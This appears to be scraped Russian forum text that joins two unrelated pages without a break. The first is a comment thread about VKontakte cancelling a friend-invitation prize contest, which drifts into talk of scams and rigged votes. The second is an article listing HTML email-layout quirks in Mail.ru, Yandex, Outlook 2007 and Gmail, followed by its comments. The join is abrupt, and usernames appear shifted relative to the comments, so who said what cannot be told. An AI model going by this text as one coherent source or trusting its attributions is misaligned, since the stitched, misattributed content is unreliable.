Видимо, таки думал. У Лисы Алисы естьб хорошая песенка на сей счёт, рекомендую разыскать и ознакомиться.
Oligarh
Больше чем уверен, что такие ацкие акции будут проводиться контактом и в дальнейшем, благо желающих поучаствовать хоть отбавляй.

IT специалисты уже давно поняли, что такой сыр только в мышеловке, поэтому и нет в топах людей пригласивших бешеные тыщи.
man_without_face
Дело не в моделях. Дело в том, что призы никто не получил. И сомневаюсь, что получат.
Piterski
Он, говорят, и в предыдущем конкурсе киданул.
В принципе для репы контакта всё равно. «Постоянные посетители» не уйдут, а вебмастера, IT-шники и другие люди не шибко от него прутся.
pieceofsummer
их репутацию это только еще сильнее укрепит. уж такая у них репутация)
Nesp
Кидок предполагался (с)
Alaunquirie
Дурова четвертовать! В прямом эфире! А вообще, странно, что кто-то повелся. Тухлый запашок исходил от этой акции. Да и сам текст этой зазываловки написан в лучших традициях спама «Получи элитный сотовый за опрос».
Nesp
Честно говоря, участвовала в первом конкурсе Вконтакте по зазыву пользователей. Не особо верила в эту затею, но к своему удивлению выиграла один из главных призов. Тогда это был iPod video.

LeeMiller
Я и не отрицаю, что были прецеденты. Но как я могу это проконтролировать? Что мешает мне пойти и нарегистрировать фейков моему конкуренту?

В условиях конкурса ясно было написано, что считаются только реальные аккаунты с фотографией. Хорошо, считайте только настоящие, их было очень много.
nobody
а если человек честно старается чтобы получить приз… пусть даже не за 1-е место?!
з.ы. а ты у нас реальный пацик ;)
McStrauth
Когда эти конкурсы были более локальны (Россия, Украина) в первый раз я смог выиграть один ipod, когда же конкурс проходил второй раз, меня дисквалифицировали с третьего места на 17, но доказательств мошенничества не предоставили.
nobody
Предлагаю создать блог хабраненависти, и публиковать там истории подобные этой, а еще создать рейтинг ненавистных компаний, где ВКонтакте будут сражаться с Меил.ру.

Проблема ВКонтакте в неумелом менеджменте, и в идиотах модераторах (большиство из которых — розоголовые дуры). И все это им будет сходить с рук, пока их кто-то не накажет.
pushev
>> Предлагаю создать блог хабраненависти, и публиковать там истории подобные этой, а еще создать
рейтинг ненавистных компаний, где ВКонтакте будут сражаться с Меил.ру.

Вот тут, тоже в общем неплохо :)
googlefight.com/index.php?lang=en_GB&word1=vkontakte&word2=mail.ru
nobody
Ы, впечатал туда «хабр», человечек задрыгался и завис в нервном тике.
pushev
Есть уже. Я — негодую, только он закрыт для публичного просмотра.
Sk8er
не забудьте про уникальный номер телефона для каждого аккаунта, причем с кодом страны +371
hoglet
А чего еще ждать от быдлоресурса?
chetzof
Ха! ВКонтакте просто так и приложения удаляет. Ни за что, ни про что. Обычные нормальные приложения, не нарушающие правила.
И жаловаться некуда — техподдержки и контактов у них нет в принципе.
Так что, эта компания — вещь в себе, что хотят, то и делают и ответственности они не несут никакой, ведь это их ресурс (типа, не хочешь — не пользуйся, у нас всё равно миллионы регистраций)
chetzof
Так может на самом деле попробовать перестать давится кактусом?
Negativ
Я зарабатываю на ВКонтакте. Ещё вопросы?
ferim_foli
«слышу звон и не знаю откуда он»

я вообще Вконтакте не сижу.
Sunny
Это русский бизнесс, детка!

Плюсанул тебе в карму, не расстраивайся :)
redchrom
furyk
Вероятно, друзья != юзеры :) А вас вполне могли счесть владельцем ботнета :)
FTM
Верните 10 грядок свинку 10090 уровня, корову 1500 уровня, курицу 1500 уровня,50 миллионов простых монет, весь декор,20 арбузов,20 клубника,1000 белая репа,80 драконих глазов,10 женьшень,39 уровень фермы,6 уровень обаяния и чуть незабыл свинка 11 часов до стадии боров,2000 удобрения самого крутово,1500 прокачки для свинки,1500 прокачки для курицы и 110 нарцисов, пожалуста верните.
LitrKonyaka
Когда проводился конкурс Туборг, нужно было пригласить 5 друзей, и тогда тебе обещали дать ящик пива. Ну я, как падкий на халяву, пригласил 5 друзей на их сайт — vechegreenka.ru. Регистрация осуществлялась по номеру мобильного — на него высылалась СМСка.
Зашел недели через 2 — проверить как дела. А там в статусе — «приглашено 4 друга», хотя в списке 5 человек. Я зарегистрировал еще одного пользователя — стало 6 приглашенных, а в счетчике — 6.
Вот такое кидалово, зато мне теперь приходит от vechegreenka спам и на email и по SMS.
gradmax
ой… я имел ввиду, что в счетчике стало не 6, а осталось 4
LitrKonyaka
у меня 2 знакомых участвовали и получили свои ящики.
LitrKonyaka
я, видимо, не успел — мне достался только спам
LitrKonyaka
видимо, вконтакте вам не поверили, что вы смогли, как я понял, так быстро, набрать аж 95 друзей
за какой период времени вы смогли набрать столько человек?
Snapp
а какое мне дело до того, «поверили» они мне или нет?

в правилах конкурса не было указано «мы сотрём вас, если не поверим».

часов за 12.
DaemonI
ну сами смотрите — даже сейчас еще никто не набрал 95 очков — поэтому вконтакте и могли сочти это за спам (
а ваше состояние я понимаю — у самого тоже глаза загорелись, когда увидел о начале этого конкурса и на призы — ведь я смог бы пригласить кучу западного народа из IRC-каналов, и радовался до тех пор, пока не увидел, что нужна еще и активация по мобильнику, которую мой народ наотрез отказался проходить по толком непонятным причинам… ;(
pic.ipicture.ru/uploads/091106/9YeEPznv3o.png
Storm2k
P.S: Это я вам к тому, что все нужно делать плавно и с хитринкой, а вы сделали резкое движение, за 12 часов пригласив большое количество человек ;)
а вообще пишите, пишите и еще раз пишите администрации вконтакте, чтобы они вам разъяснили по какой причине они вас обнулили, ведь известная пословица гласит:
«Тот, кто может и бездействует, хуже того, кто не может, но пытается что-то сделать»
Желаю Вам удачи! ;)
ainu
Вконтакте это зло! -(((
ainu
Как и любой другой наркотик. Сериалы, например, тоже. Для меня RSS-каналы постепенно становятся злом.
Это если я Вас правильно понял, конечно.
sidristij
Зависимость — это зло, а Вконтакте — это лишь социальная сеть) имею аккаунт на ВК, но захожу туда раз в два-три дня и использую его только для связи с 6-7 моими друзьями.
так можно тогда и интернет назвать злом ;)
furyk
У вас как не было, так и ничего не появилось. А расстроились потому что уже успели помечтать (возможно, даже iTunes уже установили). Но я Вас понимаю! Как это знакомо. Самое обидное — несправедливость! Но как тут докажешь. А ещё все беды от того, что не дорожит Контакт своим имиджем.
Flyzoom
«А расстроились потому что уже успели помечтать»

согласен :)
vilgeforce
Автор, я бы на вашем месте воспользовался тем же «административным ресурсом» и пригласил бы всех на Локерс — там хоть все по-чесноку) На тот же айпод или макбук быстро бы насобирали, думаю :)
Error_403_Forbidden
Я вам персонально отпишу о результатах :)
Niklex
прочитал комментарии и еще раз убедился истине.
Error_403_Forbidden
в чем в чем обман?
zlll
сейчас расскажу и мне вновь наминусуют:

обман в психологии,
сперва цепляют человека за что-то живое сл образом:
каждая соцсеть — это развернутое общение, а общаясь ты уже что-то должен или обязан. Ты стремишься ответить, выглядить лучше в собственных глазах и глазах твоих собеседников, посмотреть как тебя оценили (для этого специально введена введена система оценок), короче у человека вырабатывается привычка «быть в сети»
потом на этой привычке начинают играть с выманиванием денег под видом предложения некоторых услуг, в частности устраиванием конкурсов. Хочешь плати, хочешь не плати — дело твое, но каждая соц сеть именно разрабатывается с целью «получения прибыли», а как ее получить — это дело совести хозяев сети. это тема отдельного топика
но если что-то недосказал, то готов рассказать больше.
furyk
по русскому у меня в детстве была тройка, по этому пошел в математики…
априори
Offbeatful
хабр — соц сеть. И это не обман, тем более в априори.
yellow_duck
с хабр согласен — это соцсеть… специфическая, и не такая масштабная. Здесь деньги зарабатывают немного иным способом.
mikhanoid
[оффтоп]
И пользователи тут не стучатся в аську в предложением «Хотите зарегистрироваться на крутом сайте?»
Тут стучат в аську с просьбой «Дайте инвайт на сайт, пожалуйста, я очень хочу зарегистрироваться!»
[/оффтоп]
Schangin
Быть на Хабре — это один из признаком профессиональности, по этому и выпрашивают инвайты.
Я могу публиковаться на разных известных тематических ресурсах, на Хабре решил «засветится» из-за моих наработок, по этому попросил автора одной схожей статьи опубликовать мою информацию, у него оказался лишний инвайт.

по этому я и сказал — Хабр — это специфическая сеть, но не надо говорить, что она благотворительная или неокупаема… На ней организаторы тоже зарабатывают деньги и не малые…
gag_fenix
ага минусеры — правда матка глаза режет!!!
gag_fenix
вы еще верите вконтакту?!
vectoroc
Чисто по нашему — либо ты, либо тебя)
gag_fenix
Незнаю у кого и как в прошлом конкурсе, но я точно знаю что тот юзер который занял первое место — уже получил Мак Бук Айр, iPod выслали из Штатов — посему они еще в пути (номер посылки имеется). Я в прошлом конкурсе занял 3 место, со мной связались и уточнили адрес доставки, ноут выслали из Питера, iPod как и всем из штатов, номера посылок у меня есть на руках, ноут в Израиле я получу в понедельник- вторник.
Root1564
я все жду, когда вы появитесь в топ30, уже больше суток прошло, а вас там нет и нет)))
furyk
Зачем? Маков больше не дают, сони с виндой даром ненадо :-)
Root1564
так у вас же на сайте вроде объявление висит — я поэтому и говорю ^_^
Root1564
это предновогодние подарки сотрудникам.
flyfree
точно) там же не ваша ссылка стоит
klinifini
ноуты получают свои люди,
а дешевку отдают населению…
я сам работал в проекте prize.ru и знаю что и как распределяется!

эх, опять за правду-матку наминусуют… но такова судьба…
Root1564
Минусуют потому как вы херню пишите, ВКонтакте отдали ноуты не «своим» а тем кто занял призовые места, двое из троих ну точно не «свои».
klinifini
фейки…

сделать фейковую анкету — дело 15 минут
furyk
Сочувствую. Представляю столько усилий и такая несправедливость :((
А доверие к Дурову у меня подкосилось, когда он сказал, что специалисты такого большого ресурса не могут отслеживать порно и пр. штуки, нарушающие закон, да и спам-боты там просто ужас. неприятно как-то стало, потому в контакте редко бываю — достали спамеры, предлагающие прочитать звонки или организовать секс знакомство в интернете, к тому же крадущие пароли.
runni
Ребята, не мелочитесь. Если уж даже великая и ужасная РБК (РосБизнесКонсалтинг) кидает на конкурсах, то уж ВКонтакте так в самый раз это делать. Недавно вот писали где-то, что победители конкурса от бывшей соц.сети РБК — Вспомни.ру — уже второй год не могут получить призы, поэтому подают в суд. Если у вас есть доказательства, хотя бы какие-то, то можете написать предпроцессное (простите за такие термины, я не юрист ни разу, только знаю как в этих случаях поступают) заявление и отправить его заказным письмо на адрес юр.лица ООО «ВКонтакте». К заявлению можно и нужно пприложить ксерокопии/распечатки доказательств, любых. В заявлении также пишется, что, мол, ребята, давайте не будем доводить до суда и закончим полюбовно. Не ответили через 2 недели? Шлете письмо снова. Не ответили? Вот тогда уже идем к адвокату, пусть тот составляет исковое заявление. Расчет должен идти на то, что, парни, вам же не нужна такая огласка? Хотя, конечно, могут возникнуть некоторые неудобности с тем, что вы из Латвии.

P.S. Скрины учитываются в суде, но весомого значения не имеют вроде бы, то бишь не могут считаться основным доказательством.

Кстати, у ВК есть одна проблема — там нет централизации. Т.е. есть ряд модераторов, которые творят пущую, извиняюсь, херню. А руководители об этих прелестях не знают чаще всего.

Но попытайтесь сначала выйти на кого-то из вменяемых сотрудников (модераторы туда обычно не входят) ВКонтакте. Не следует исключать возможность, что произошел какой-то сбой или ошибка.
furyk
Одно могу сказать точно: в прошлом конкурсе с iPod-ами шанс выиграть был у всех. И человек с одного сайта (чуть-чуть знаком с ним) этот айпод-таки выиграл. Информация проверенная

В этот раз уже условия пожёстче… Вот видимо и прижимают к стенке :(

А вообще — все эти конкурсы фигня :) Делать вам нечего, друзей привлекать? )))

PS: пара-тройка реальных ICQ-переписок. Чтобы понять, как пришлось туго бедным жителям ближнего зарубежья, когда полчища русских халявщиков ринулась на них:

/«l@С]{ОВЫЙ МЈРЗ@ВЈЦ (11:20:14 15/10/2009)
Привет

user (11:20:31 15/10/2009)
Ты сейчас правда в Азербайджане?))

/»l@С]{ОВЫЙ МЈРЗ@ВЈЦ (11:21:05 15/10/2009)
Да. Ты тоже плеер хочешь выиграть?

* * * * *

user (11:16:57 15/10/2009)
Здравствуйте!

Robine (11:17:36 15/10/2009)
здравствуйте! Вы кто?

user (11:17:54 15/10/2009)
:-[ Вы зарегистрированы Вконтакте?

Robine (11:18:19 15/10/2009)
в каком контакте? Вы откуда пишите?

И напоследок пример того, что туго пришлось и тем, кто оказался вверху ТОПа:

XXX Привет!
YYY привет
XXX Как ты привлек столько иностранцев?
YYY мне этот вопрос уже скоро сниться начнет
YYY вы глупые, реально?
YYY я не понимаю просто
akalend
Уже сам нашёл = ) Но всё равно спс.

Ночью котелок плохо варит :( Надо баиньки
akalend
А мне 10 голосов вернули не так давно, которые из-за глюка не зачислились на баланс рекламного объявления.
Правда времени прошло две недели, плюс еще кто-то отписался с похожей проблемой в моем вопросе к саппорту.
Никаких комментариев не последовало, просто на счету 10 голосов увидел, а тему с вопросом к саппорту закрыли…
ancle
Что ж вы палите тему-то!!! pavel_gite.habrahabr.ru/ тоже вот написал и его совсем с Хабра забанили! В свободу слова поверили?!
akalend
Вообще если даже наша родная Русская Православная Церковь обнуляла голоса мирян, когда мы голосовали за Митрополита Токийского и Всея Японии Даниила на выборах Патриарха, чего уж от какого-то Вконтакте ждать?
akalend
ну, политика отдельная тема. сори за оффтоп:
У меня друг политикой занят, так он говорил, что на выборы в местную Администрацию пришло только 15% населения (были «счетчики» от альтернативной партии ), при официальной 95% явке. Ну и сами понимаете, что победил нынешний Глава Администрации района.  Пытались доказать «правду» в суде… Решение суда посчитало что данных «наблюдателей» недостаточно доказательств как заинтересованнной стороны.
Кстати такая же картина наблюдалась на выборах ныне действующего Президента Грузии (со слов нашего телевиденья, не занешь правда кому и верить)
ainu
вот можно про то голосование почитать: lurkmore.ru/%D0%94%D0%B0%D0%BD%D0%B8%D0%B8%D0%BB
akalend
интернет голосование — вещь очень тонкое
сам придумывал счетчики про накруток, но от флешмопа, увы не спастись.

и до нас доходил флешмоп, на одном развлекательном портале, проходил конкурс девушек топлес «как я провел чудесно это лето», разыгрывался набор косметики, который выииграл кривой толстый дядька. Аж два тура подряд. Вторая его фотка была с топором… Мы уссывались, а начальство рвало и метало. Ведь предполагалось сфоткать Победительницу и разместить награждение на первой стр. сайта.
ainu
а еще у нас был такой курьез
на сайте «Фантастический футбол» (приз 1000 енотов образца 2006, цена хорошего ноута ) выиграла училка из Мухосранска,
попросили ее фотку, чтоб разместить на первой странице сайта, так там была кожа да кости, вся такая прилизанная и очки больше головы… Мы долго смеялись и решили просто написать ее фамилию без размещения фотографии.
akalend
ну, вообще просто смешно…
среди несколько тысяч футбольных фанатов выиграла какая-то училка.
akalend
скорее всего за «отрыв» посчитали как «черный накрут»
ошибочка вышла…
mariner
На самом деле после зарождения волны активной коммерциализации всего потока социальных сетей, доверие к ним, лично у меня, и я уверен не одного, упало до нуля. О конкурсе, «участником» которого вы стали, я тоже прочёл, но расценил это как нечто подобное баннерам из серии «mp3-оргазмы» или «прочитай СМСки своей девушки».

Интересно, а остались ли после данного (очередного) случая, кто продолжает искренне доверять в такие сомнительные «акции» социальных сетей?
IDDQD
во-во
я написал, что социалка в априоре — это обман, за что и получил кучу минусов…

а суть акции: привлекаешь за пятикопеечный iPod миллион новых пользователей, из которых треть принесут бубки с головой окупающих этот iPod

можно еще наравне с пятикопеечным призом для большей привлекательности выставить и превышающий весь доход от акции лимузин, который не получит ни один из «честных» участников. А на деле будет выглядить все правдиво и красиво.

Верите еще в МММ — дети малые…
torai
Сравнение с МММ очень уместно. Безумно интересно насколько подобные лохотроны распространены на Западе. Вообще там с ними борются какими-нибудь способами?

Пусть никто не обижается за такую формулировку, как лохотрон, ваш верный слуга тоже имел честь выступить в качестве жертвы. :-)
Root1564
А как сам думаешь?

самый лучший лохотрон — это доллар, который раздувается как мыльный пузырь. Недавно Председатель ЦБ США ездил в МинФин Китая с просьбой не выкидывать их доллоровые запасы на финансовый рынок… иначе всей и так шаткой мировой экономике настанет страшнее чем слово П$… ц

второй лохотрон — это Ценные бумаги, не контролирруемое использование которых привело к Ипотечному кризисы, ну последствия тебе известны… Вроде как стрелочника нашли.

Вообще, мне умные люди сказали, что почти все кризисы — спланированы, и делается это с целью легально вывести деньги в иные карманы…

Ну, если кризис спланирован — как с ним можно бороться?

Вернемся к тем же МММ, думаешь в ЦБ в 93-94 году не знали истинную цену акций Гермеса или МММ? А бизнесмена (не помню имя), основателя Гермаса, признали лучшим бизнесменом года…
Все спланировано потому-что все прогнило и коррумпировано. А если скоррумпированно, объясни как может организм бороться сам с собой???
torai
да, в дополнение к вышесказанному:
Обоснуйте мне экономически, если в США кризис и во всем мире доллар падает, почему он стал расти в нашей стране. Сейчас он вернулся в исходное положение 2008 года, но разница между началом роста и концом составила почти 30%. Это кто-то на этом такие бабки сделал, называется Вам и не снилось.
и Вы мне можете мне утверждать, что это не спланировано?
хотя, если часть этих денег влить в СМИ, чтоб они спели нужную песню… то можно поверить любому чуду…
Root1564
Оспаривать приведенные факты невозможно. Но вы ушли в несколько более высокие сферы проблемы «лохотронства». В данном же случае мы имеем дело с рядовым обывательским разводом, и МММ по отношению к рядовому представителю электората, выступало в такой же роли, как и рекламодатели вышеупомянутой мною рекламы в настоящее время.
torai
Еще один все понял.
Root1564
Мнение Алексея Богатова.



Что думаете по этому поводу, коллеги?
akalend
Бред… Где справедливость в этих конкурсах?
Довольно часто наши клиенты устраивают регулярные рассылки с новостями. Почти всегда их не устраивают текстовые рассылки или простое оформление HTML рассылок. Наши дизайнеры вовсю креативят, а мы потом набиваем шишки при верстке их макетов с корректным отображением во множестве почтовых клиентов.

Ниже список встретившихся нам особенностей и способы их разрешения (как то упорядочить их мне не удалось, поэтому всё идет единым списком)

  • Чтобы не было проблем с кодировками — верстаем в UTF-8, в HEAD нужно указазываем <meta http-equiv=«Content-Type» content=«text/html; charset=utf-8»>;
  • Mail.ru, почты Яндекса и Рамблера вырезают весь css, поэтому верстать надо с помощью HTML3.2;
  • Mail.ru делает большие отступы у элементов, чтобы их не было надо обернуть письмо в <div id=«mailsub»>;
  • Mail.ru (и похоже что и Яндекс) превращает отступы(\t) в коде в &nbsp; поэтому код не должен отбиваться табами;
  • В текстовой версии нельзя использовать html entities, потому что это текстовая версия, а не HTML. Также, в текстовой версии нельзя использовать unicode символы, которых нет в windows-1251, т.к. mail.ru зачем то перекодирует письмо в эту кодировку;
  • Outlook 2007 не дает использовать фоновые картинки. Мы правда нашли 1 хак — можно указать background-image для body. Тогда этот Outlook покажет фон. Но хак не работает, если мы используем background-position или background-repeat. В web клиентах этот фон не будет показан, поэтому нужно дублировать его указание — в style у body для Outlook, и в background у «корневой» table для веб клиентов;
  • Outlook 2007 делает поля сверху у элементов типа «div». У «table» с «cellpadding=0 cellspacing=0» таких полей нет;
  • В последних рассылках Диснея нам пришлось полностью отказаться от использования фоновых картинок, т.к. при этом были проблемы с позиционированием картинок поверх фона и делать основной макет состоящим из набора картинок внутри таблицы. Текст при этом тоже включается в картинки, ссылки расставляются с помощью areamap areamap использовать нельзя, т.к. в Gmail по таким ссылкам нельзя кликнуть. Надо нарезать письмо на картинки и сохранять их таблице;
  • В Gmail если у картинки, которая является единственной в ячейке таблицы, появляется 3px отступ снизу, его можно устранить, указав style=«display:block» этой картинке;
  • В Рамблер картинки, указанные в теле письма, сливаются на их сервер с подменой ссылок, соответственно если смотреть рассылку отправленную со своих серверов, закрытых извне http авторизаций, то картинки не будут отображаться;
  • В Яндексе если тело письма поместить внутрь {strip} (при этом вырезаются все переносы строк), то иногда в теле письма появлятся непонятные переносы, которые могут попасть на значение аттрибута src или href. При этом картинки могут не отображаться, а ссылки — не открываться;
  • Чтобы в IE6 внизу картинок не отображался 3px отступ, надо, чтобы между тегом картинки и тегом закрытия ячейки не было пробельных символов (при этом допускается использование для переноса строки комментария вида:
    <td>
    <img src="" alt="" /><!--
    --></td>
  • Outlook 2007 иногда не ресайзит растянутые картинки. Надо использовать картинки один к одному как указано в макете;
  • Иногда бывают в Outlook 2007, когда картинка, помещённая внутрь какого-то td, у которого задан colspan или rowspan, обрезается вдоль продолжения линии границы соседних ячеек, которые объединяет colspan или rowspan. В этом случае отображается часть целого изображения-картинки. Проблема не решалась без разрезания объединённой ячейки на несколько одиночных и дробления проблемной картинки на несколько частей, каждая из которых занимала бы одну простую ячейку таблицы;
  • На некоторых инсталляциях Outlook письмо без переносов строк начинает корежить очень странным образом. Можно делать без переносов отдельные таблицы, но очень длинных строк надо избегать;
  • В The Bat! при использовании прозрачных гифов прозрачные точки заменяются чёрными.Поэтому «прозрачные» распорки должны заполняться цветом фона, на котором они расположены


Когда я упоминаю название какого то хостера почты, то имеется в виду его веб-интерфейс, а не POP/IMAP

Второй пункт из этого списка более обстоятельно описан в топике «10 рекомендаций по html-верстке электронных писем»
GREENpoint
Полезно. Спасибо.
zaartix
наиболее показательное «спасибо», это более 200 добавлений в избранное )
bondbig
Уже была похожая подборочка: habrahabr.ru/blogs/webdev/60420/
TiGR
спасибо. поставил на этот топик ссылку в тексте
latrekc
Спасибо большое за хак для картинке в Gmail — очень помогло.
Делал шаблон рассылки для «Бигуди шоу» и была проблема стыковки двух картинок, думал, что с версткой что-то не так. Оказывается грабли в Gmail'е были.
Denys
Как это относится к блогу «Спам (и антиспам)»?
EvgeniyLazarev
Так ведь спамеру это тоже будет полезно!
ertaquo
Аккуратненький спам куда больше радует душу и глаз, чем неаккуратный с неопнятными циферками)
Kakysha
перенес
latrekc
Полезная сравнительная таблица для популярных почтовиков www.campaignmonitor.com/css/
muxx
Не нашел про цвет фона vs. цвет текста.
Очень часто люди жестко устанавливают цвет письма и забывают про установку цвета фона. И у людей типа меня, у которых по дефолту белый текст на черном фоне, получается совершено нечитаемый текст. Негры ночью крадут уголь. Кстати этой проблемой болеют и очень большие компании типа асуса.
squint
Эта проблема свойственна не только HTML письмам, но и обычным сайтам
Лечится это только принудительной сменой цвета фона на салатовый в браузерах верстальщиков
maxic
Я смотрю никто не придерживается стандартов, поэтому и такой бардак.
Я понимаю, безопасность, но не до такой степени, чтобы игнорировать стандарты.
PiaFraus
Если придерживаться стандартов безопасности и верстки, эксплойт не запустится, а вот картинку ты посмотришь :)
Согласитесь, то что сейчас — это бардак, причем я подозреваю пробои все равно есть.
latrekc
Нет, я понял. Вы знаете какие то универсальные методы проверки является ли картинка эксплойтом :)

Мне не нудно, мне скорее неприятно позиционирование стандартов отображения картинок в почте, выше чем требований безопасности в вашем исходном сообщении.
maxic
Ну началось. Тот кто минус поставил — аргументируйте его.
Потому, что другие люди будут думать, что это не метод.
Минус без причины — признак дурачины.
Или кто-то хочет сказать, что уменьшив качество картинки, с кодом эксплойта ничего не случится?
Или картинка при этом будет другая?
Ну, аргументируйте.
Xaegr
В большинстве случаев ваш вариант будет работать очень хорошо. Но любое DKIM подписанно письмо не будет проходить проверку или с S/MIME подписью т.к. контент был изменен.
Это если мы говорим о том случае когда картинка изменяться прежде чем попадет к получателю т.е. гдето здесь MUA->MTA->(body change)MTA->MUA.
maxic
А мы и говорим о web интерфейсах в первую очередь, во вторую, при получении юзера почтовиком. Или при отправлении — сразу изменять, при создании письма. Это уже другой алгоритм.
Меня спросили — про проверку картинки на эксплойт ;)
Этот метод универсален, правда есть недостаток — ресурсоемкость на больших проектах. При них тоже есть алгоритмы определения, я просто предложил самый простой и универсальный.
Я вообще не понимаю (не к вам) — это опять тролль завелся? Все мои комменты- минусуют, причем везде, в не зависимости от контента.
Xaegr
в мемориз
сам верстал довольно много макетов, намучился
maxic
Да, работа проведена кропотливо и долго. Спасибо за топик.
Xaegr
стоило еще рассказать про lotus notes, так как куча корпоративных клиентов сидит именно на нем.
maxic
Внезапные переносы строк у Яндекса возможно появляются из-за их четкого следования RFC 821/822, согласно которому максимальная длина строки ограничена 1000 символов. HTML, подвергнутый {strip}, частенько выходит за этот предел, и автоматически расставляемый перенос строки иногда попадает на середину какого-нибудь аттрибута.
Решений два:
— Не использовать {strip}, что весьма неприемлимо, учитывая потерю всех бонусов от strip.
— Кодировать письмо в base64. После раскодировки все «лишние» переносы строк естественным образом пропадут. Минус — возрастает размер письма по сравнению с UTF, если не ошибаюсь.
Xaegr
Ещё бы кто-нить объяснил, почему вдруг яндекс втыкает переносы строк в заголовках, в результате чего получатель видит абракадабру. Причем как раз при строках длиной макс 70 символов и сабжем, разбитым на несколько строк, а вот если ограничение убрать — вроде всё ок.
maxic
А можете привести пример, когда так сработало? Интересно разобраться. Он втыкает при отправке через себя или при получении?
maxic
Какая у вас замечательная коллекция граблей. Спасибо.
nshopik
Обожаю программировать сервисы связанные с рассылкой и разбором почты. Обожаю почтовые протоколы как таковые и в особенности каждого мейл-агента со всей их отсебятиной обожаю. Веселое это дело. Веселее браузерных граблей.
maxic
Это объясняет, почему так часто встречаются рассылки ввиде нарезки из картинок-ссылок вообще без верстки. :)
deniamnet
HTML письма должны умереть.
maxic
По опыту верстки писем, самое слабое звено — аутлук 2007. У него вордовский движек.
Предложил дизайнерам рисовать макеты писем в ворде, обещал сделать все что они смогут там нарисовать:)))
homme
двИжек, крЮчек, дЕвченки, да? :)
moroz1999
А если у клиента (как у меня) по дефолту стоит не отображать HTML? Какие предложение вы внесете?
katremer
Обычно такие письма высылаются в html и в plaintext, и человеку показывается письмо в соответствии с его настройками.
Кстати, об этом есть упоминание в топике:
В текстовой версии нельзя использовать html entities, потому что это текстовая версия, а не HTML. Также, в текстовой версии нельзя использовать unicode символы, которых нет в windows-1251, т.к. mail.ru зачем то перекодирует письмо в эту кодировку;
smart
> В Gmail если у картинки, которая является единственной в ячейке таблицы, появляется 3px отступ снизу, его можно устранить, указав style=«display:block» этой картинке;

Ну еще бы, строчный элемент, выравнивается видимо по базовой линии, это скорее не особенность Gmail, а особенность HTML.

amarao
Подтверждаю, отступ появляется не только в Gmail.
Только что столкнулся с тем же отступом в Outlook Express 6.
gribozavr
Интересно, учитывают ли эти нюансы сервисы массовых рассылок вроде MailChimp и сотоварищи?
nord_ak
lolmaus
«Джеффри Зелдман не работал во внутренних коммуникациях» ©
savant
«Внутренние комуникации» — это такое гиблое место, где на комп. установлен только Outlook Express, а все приложения к письмам (Word,pdf,jpg) убиваются фаерволом?
Если так, то воистину «Джеффри Зелдман не работал во внутренних коммуникациях»
djko
Нет, это такое гиблое место, где принято думать о том, как эффективно (и красиво) подать получателю большие объемы важной информации.
andrewsh
>где принято думать
Тогда там не занимаются версткой в мыле и читают Зельдмана.
MakeInstall
Вот поэтому я и пользуюсь ThunderBird, который корректно показывает HTML-письма :)
rednaxi
Он не позволяет использовать HTML-формы в письмах.
https://bugzilla.mozilla.org/show_bug.cgi?id=542325

Главное, фикс на одну строчку, но всем мейнтейнерам пофиг, с января баг открыт.
egorinsk
не знал этой особенности, спасибо.

для меня HTML-письма это в первую очередь не сабмиты, а внешний вид писем
Anton_Gorodezkiy
Вы все еще отправляете письма в HTML? Тогда мы идем к вам. (с) ваш plain-text
develop7
Нет на вас юзабилистов… Попробуйте отправить по сотрудникам крупной компании информационный дайджест за две недели (10-15 новостей) в plain text — и посмотрите сколько из них прочитаю его дальше поля Subject.
aps
А смысл его слать в теле письма? Шлите его нормально в PDF, не издевайтесь. Вот мне еженедельно почти приходит дайджест от MS — поубивал бы на хрен тех, кто решил это впихнуть в письмо.
Tigger
Спасибо за совет, как-то не приходило это в голову… В этом есть свою плюсы, подумаю теперь есть ли минусы.
aps
В этом есть минусы, во многих случаях pdf будет излишне громоздок с точки зрения времени просмотра. Тут нужен баланс. Но я уверен, что в 99% случаев можно обойтись без html-почты, тем более ничего кроме головняка обеим сторонам это не несет. И, да, в этом виноваты онлайн и оффлайн почтовые клиенты в том числе.

Вот так, к примеру, выглядит половина корреспонденции от MS в моем оффлайн клиенте.
Tigger
Ну у меня немного попроще ситуация — я ориентируюсь исключительно на получателей с корпоративным Outlook 2007. Поэтому даже довольно сложный дизайн нашего новостного дайджеста получается передать на 100%. А для рутинных писем-рассылок мы используем сверстанный в Word HTML с минимумом графики и разметки, что тоже упрощает жизнь.
aps
Расскажите про свою ЦА. Откуда уверенность в наличие корпоративного Outlook и именно 2007 версии? Я знаю достаточно много крупных компаний (100+), который используют TheBat / GMail.com / Thunderbird (редко). В целом же да, инфраструктура Windows в компании — практически гарантия использования Outlook.
Alvein
У нас в компании на всех рабочих ПК стоит единый образ ОС с единым и одновременно обновляемым дистрибутивом Office. Если кто-то предпрочитает пользоваться сторонним ПО — это его дело и его риск получать внутренние коммуникации в перекошенном виде, в таком случае (хоть я и тестировал свои шаблоны писем в разных клиентах — везде в целом все хорошо).
tyomitch
Может быть, если вы точно знаете что находится на машинах вашей ЦА (а это, как я понял, свежая платформа MS) использовать XPS, к примеру? Ниже вы писали, что PDF громоздок (на самом деле для 1.5 страниц, пожалуй, будет не лучший вариант), возможно XPS сможет заменить его полноценно.

Какого рода контент? Мне действительно интересно, возможно, я не прав в столь категоричном своем отношении к html-письмам в ряде случаев.
Alvein
Контент — картинка 800 на 200 в хедере, 6-8 картинок 145 на 110 в дайджесте новостной ленты, несколько килобайт текста с выдержками новостей и ссылками на полные версии текстов на внутреннем сайте. У меня все заверстано в тупую таблицу, вообще без CSS. Вот, собственно, как выглядит последняя рассылка:

naum
PDF долго открывается, а html показывается сразу любой программой и веб-интерфейсом. Если нужно переслать документацию, результаты исследования, отчет или еще что-то большое — конечно PDF хороший вариант. Но рассылать в нем ежедневные новости или предложения — нереально, это не будут читать.
Tigger
Постойте, но мы живем в 2010 году. То что кто-то шлет ежедневные новости в виде гигантского html-контента с помощью электропочты — это понятно. Но нужно ли это в таком виде на самом деле? В чем соль? И это все еще происходит в век, когда популярен RSS, доступен Интернет & etc. Конечно html показывается быстро, но для «крупной» информации есть браузер и контент на сайте, мелкие новости спокойно усваиваются plaint-text'ом.

И, да, plain-text тоже можно оформить читаемо, чтобы не возникало жаления просить читать сразу же после заголовка.
naum
Нет, речь идет о рассылке раз в две недели. Информации там — примерно на полтора листа А4.

Попробовал перевести это в PDF — получилось вполне прилично. Но вы правы — открывается медленно. Я попробовал на трех обычных рабочих компьютерах, которые используются у нас в компании, такой документ в PDF открывается до 15 секунд, что чертовски долго для современного пользователя.
Tigger
Любители заверстать все в один gif смотрят на этот пост с недоумением :-)
naum
